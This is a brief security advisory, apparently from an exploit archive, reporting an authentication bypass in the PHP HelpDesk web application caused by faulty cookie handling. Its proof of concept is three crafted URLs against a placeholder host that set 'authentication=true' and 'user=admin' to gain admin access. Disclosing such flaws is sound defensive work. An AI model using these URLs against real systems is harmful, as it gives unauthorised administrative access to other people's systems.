PHP HelpDesk Authentication Bypass (Exploit)
------------------------------------------------------------------------
SUMMARY
<https://sourceforge.net/projects/phphelpdesk/> PHP Helpdesk is "a tool
that allows administrators to handle tasks related to their organisation.
This tool is used to record and monitor the progress of tasks assigned to
people. This is an excellent and simple tool for handling tasks". PHP
Helpdesk has a fault in the implementation of the cookie values set. Using
crafted URL's it is possible to get full access to the system.
DETAILS
Proof of Concept:
Access a site that holds the login to PHP HelpDesk
http://www.target.com/helpdesk/index.php
Change the system so that you are authenticated
http://www.target.com/helpdesk/index.php?authentication=true
Up you privileges to admin
http://www.target.com/helpdesk/index.php?authentication=true&user=admin
